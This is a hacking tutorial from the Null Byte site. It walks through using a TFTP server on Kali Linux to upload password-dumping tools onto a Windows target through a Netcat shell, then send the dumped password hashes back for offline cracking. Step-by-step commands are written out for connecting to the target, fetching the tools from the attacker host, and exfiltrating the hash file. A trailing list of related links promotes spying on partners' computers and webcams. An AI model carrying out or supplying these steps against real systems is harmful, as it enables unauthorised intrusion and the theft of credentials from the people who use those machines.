Hack Like a Pro: Using TFTP to Install Malicious Software on the Target « Null Byte :: WonderHowTo

Welcome back, my fledgling hackers!Sometimes, for a variety of reasons, we can only get a command shell on our target system. For instance, withMetasploit, it's not always possible to get the all powerfulMeterpreteron our target system. In other cases, we may be able to connect to a command shell viaNetcatorCryptcat.In each of these cases, to control and own the target system, we may have to upload additional software. TFTP may be our answer!How TFTP WorksTFTP is a UDP/IP protocol that uses port 69. It is used to upload (GET) and download (PUT) files between computer systems without authentication. It operates on a client/server architecture. If we can install/use a TFTP server onour Kali system, then we can use it to upload hacking software to the target system from a command line.For instance, if we wanted to grab the password hashes and crack them, we would need to upload samdump2 and pwdump to the target system like inthis tutorial. After grabbing the password hashes, we could then use TFTP to download the files to Kali for cracking offline.What Systems Have TFTP Clients?Nearly every OS has a TFTP client installed, but not always enabled. On Windows XP systems and earlier, the TFTP client is enabled by default. On Windows Vista systems and later, the TFTP client must be enabled through the control panel. System admins often enable it for administrative purposes and leave it enabled.Some Unix/Linux systems have it enabled by default as well. Many network switches and routers have TFTP enabled in order to upload and download new configuration files. When it is, we can upload and download software—at will—to the target system,ifwe have a TFTP server.Kali Linux, our hacking platform of choice, has the advanced TFTP (aTFTP) server installed by default. We can use it, thereby, to upload and download software to the target machine.Using TFTP to Install Software on a TargetIn this tutorial, we will upload password cracking software to a Windows 2003 Server system with the TFTP client enabled. Once we have this software uploaded to the target, it will enable us to grab the password hashes that we can then download and crack.Step 1: Fire Up Kali & Open a TerminalLet's start by firing up Kali and opening terminal like below.Step 2: Start the TFTP Server & Create TFTP DirectoryThe first step is to start the aTFTP (atftpd) server.kali > service atftpd startThen, create a directory we want to upload our malicious software from.kali > mkdir /tftpbootStep 3: Edit Configuration FileNext, we need to edit the configuration file for atftpd. You can open it in any text editor, but here I will use Leafpad.kali > leafpad /etc/default/atftpdEdit this text file as I have above. After editing the configuration file, save it. Now, we need to restart the aTFTP server to use the new configuration.kali> /etc/init.d/atftpdStep 4: Copy Our Malicious SoftwareNext, we need to copy our malicious software to the/tftpbootdirectory. First, navigate to the directory where the software resides. In this case, it's/usr/bin.kali > cd /usr/binThen, use the "cp" command to copy it to the/tftpbootdirectory.kali > cp samdump2 /tftpbootkali > cp pwdump /tftpbootStep 5: Connect to the TargetNow, we need to connect to the target machine we want to upload the software to. This might happen through getting a command shell using Metasploit, or other ways, but here I will be using Netcat.kali >nc 192.168.1.121 6996As you can see, we are connected to the Windows machine through a command shell provided by a Netcat listener on the target system.Step 6: Move the Malicious Software to the TargetNow that we have our aTFTP server configured, our software in/tftpbootdirectory, and we are connected via Netcat, we can upload the malicious software to the Windows system.The TFTP syntax looks like that below. First, the TFTP command, then the-iswitch, then the GET command (upload), the IP address where the TFTP server resides (Kali, in this case), and finally, the name of the file we want to upload from the TFTP server's default directory.C:\> tftp -i GET 192.168.1.119 samdump2As you can see, we were able to upload the samdump2 file to the target. When we check our target with a directory listing, we can see that the file is now on the target in the same directory as where we issued the TFTP command.C:\dirFinally, do the same with the pwdump file.C:\> tftp -i GET 192.168.1.119 pwdumpStep 7: Download the HashesOnce we have pwdump and sandump2 on the target system, we can grab the hashes. Save them to a file called, say, hashes.txt. Finally, we can now download this hash file to Kali by typing:C:/tftp -i PUT 192.168.1. 119 hashes.txtThis will send the hashes.txt file to our/tftpbootdirectory where we can now runHashcatorJohn the Ripperon the them to crack the password hashes.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image vianixCraftRelatedHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:How to Evade AV Software with ShellterNews:Malware Targets Mac Users Through Well-Played Phishing AttackThe Hacks of Mr. Robot:How to Spy on Anyone's Smartphone ActivityNews:Samsung Keyboard Vulnerability Exposes 600M Mobile Devices!Hack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHack Like a Pro:How to Hijack Software Updates to Install a Rootkit for Backdoor AccessNews:What Does Britney Spears Have to Do with Russian Hackers? More Than You ThinkHow To:Check if Third-Party Apps Are Safe to Install on Your MacHow To:Steal Ubuntu & MacOS Sudo Passwords Without Any CrackingHack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 1News:Hackers Have 92% Success Rate Hacking Gmail on AndroidHacking macOS:How to Create an Undetectable PayloadAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)News:How Google Forcing Apps to Target Oreo Will Help with Android's Malware ProblemHow To:Stop the New Java 7 Exploit from Installing Malware on Your Mac or PCHack Like a Pro:How to Cover Your Tracks & Leave No Trace Behind on the Target SystemHow To:Don't Be Duped by Malicious Short Links—Here's How You Verify the Destination URL Before ClickingHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Hack Like the NSA (Using Quantum Insert)How To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)Hack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Bypass Gatekeeper & Exploit macOS 10.14.5 & EarlierHack Like a Pro:Creating a Virtually Undetectable Covert Channel with RECUBHack Like a Pro:How to Remotely Grab a Screenshot of Someone's Compromised ComputerHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHow To:Change Your Step Count Goal in Samsung HealthHack Like a Pro:How to Spy on Anyone, Part 3 (Catching a Terrorist)How To:Recover Passwords for Windows PCs Using OphcrackHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:The Safest Way to Disable ALL Bloatware on Your Galaxy S10How To:Check if Your Apps Are Targeting OreoHack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:FBI Shuts Down One of the Biggest Hacking ForumsHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android Device